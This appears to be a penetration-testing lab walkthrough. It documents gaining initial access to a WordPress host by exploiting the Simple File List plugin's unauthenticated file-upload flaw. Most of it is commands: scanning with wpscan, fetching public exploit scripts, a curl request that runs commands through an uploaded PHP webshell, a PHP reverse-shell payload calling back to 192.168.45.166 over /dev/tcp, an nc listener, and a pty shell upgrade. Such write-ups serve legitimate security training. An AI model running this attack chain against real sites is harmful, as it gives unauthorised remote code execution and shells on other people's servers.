Scanning [Initial-Access]

We came to know that website using WordPress in background. Let's try to find out the plugin involved in that.

wpscan --url http://$nukem --api-token <You_Token>

I found one plugin having RCE.

I will run this.

GitHub - RandomRobbieBF/simple-file-list-rce: Simple File List < 4.2.3 - Unauthenticated Arbitrary File Upload RCEGitHub

wget https://raw.githubusercontent.com/RandomRobbieBF/simple-file-list-rce/refs/heads/master/simple.py

locate simple backdoor php

cp /usr/share/webshells/php/simple-backdoor.php .

mv simple-backdoor.php shell.php

I have copied the exploit and also gathered php backdoor file which will be needed while running the exploit.

wget "https://img.freepik.com/premium-psd/png-fantasy-flower-neon-art-illustration_53876-607319.jpg?semt=ais_hybrid" -O image.jpg

ls

Now, I have downloaded the image file and then saved it in the image.jpg file name.

Running exploit.

Doesn't work at one go.

At first, it didn't work just it said that the plugin version was vulnerable.

Other exploit.

searchsploit -m 48979

WordPress Plugin Simple File List 4.2.2 - Arbitrary File UploadExploit Database

mousepad 48979.py
cat 48979.py | grep -ni changed

Change IP and port at line number 36.

Didn't work.

Other exploit {Worked }

This exploit was suggested with the wpscan result.

https://wpscan.com/vulnerability/365da9c5-a8d0-45f6-863c-1b1926ffd574/

Saving the file content in Simple_File_list_exploit.py

Now runing the file.

python3 Simple_File_list_exploit.py

It requires URL.

python3 Simple_File_list_exploit.py http://$nukem

After reviewing the payload content, it is clear that we need to pass POST data with the password to execute commands. For example:

curl -X POST -d "password=0064bb76d86370d20793bb00572fec23&cmd=system('ls');" http://$nukem/wp-content/uploads/simple-file-list/6247.php

Working !!!

Let's Get the reverse shell from this.

Unable to get the reverse shell as both the system is not connected with each other.

I changed the payload to a reverse shell.

payload = '<?php passthru("/bin/bash -i >& /dev/tcp/192.168.45.166/80 0>&1"); ?>' # Changed Payload.

Add Payload to cheat sheet

Start a listener at port 80 and run the command.

sudo rlwrap -cAr nc -lvnp 80

Run the payload again.

python3 Simple_File_list_exploit.py http://$nukem

Got the shell.

(command -v python && python -c 'import pty; pty.spawn("/bin/bash");') || (command -v python3 && python3 -c 'import pty; pty.spawn("/bin/bash");')